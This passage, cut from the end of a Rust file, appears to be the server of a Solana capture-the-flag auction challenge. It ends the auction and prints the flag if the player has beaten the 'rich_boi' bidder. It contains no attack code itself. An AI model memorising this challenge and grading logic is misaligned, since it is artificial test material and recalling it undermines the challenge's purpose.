ix_accounts.to_account_metas(None), 162 | )], 163 | &[&rich_boi_keypair], 164 | &rich_boi, 165 | ) 166 | .await.ok(); 167 | 168 | // auction is over! 169 | let ix = chall::instruction::EndAuction {}; 170 | let ix_accounts = chall::accounts::EndAuction { 171 | auction, 172 | product, 173 | seller: admin, 174 | system_program: solana_program::system_program::ID, 175 | rent: solana_program::sysvar::rent::ID, 176 | }; 177 | chall 178 | .run_ix(Instruction::new_with_bytes( 179 | program_id, 180 | &ix.data(), 181 | ix_accounts.to_account_metas(None), 182 | )) 183 | .await?; 184 | 185 | // did you win the auction? 186 | let product_account = chall::Product::try_deserialize( 187 | &mut chall 188 | .ctx 189 | .banks_client 190 | .get_account(product) 191 | .await? 192 | .unwrap() 193 | .data 194 | .as_ref(), 195 | )?; 196 | 197 | if product_account.owner == user { 198 | writeln!(socket, "congrats!")?; 199 | if let Ok(flag) = env::var("FLAG") { 200 | writeln!(socket, "flag: {:?}", flag)?; 201 | } else { 202 | writeln!(socket, "flag not found, please contact admin")?; 203 | } 204 | } else if product_account.owner == rich_boi { 205 | writeln!(socket, "rich_boi won the auction :'(")?; 206 | } else { 207 | writeln!(socket, "nobody won the auction...?")?; 208 | } 209 | 210 | Ok(()) 211 | } 212 | --------------------------------------------------------------------------------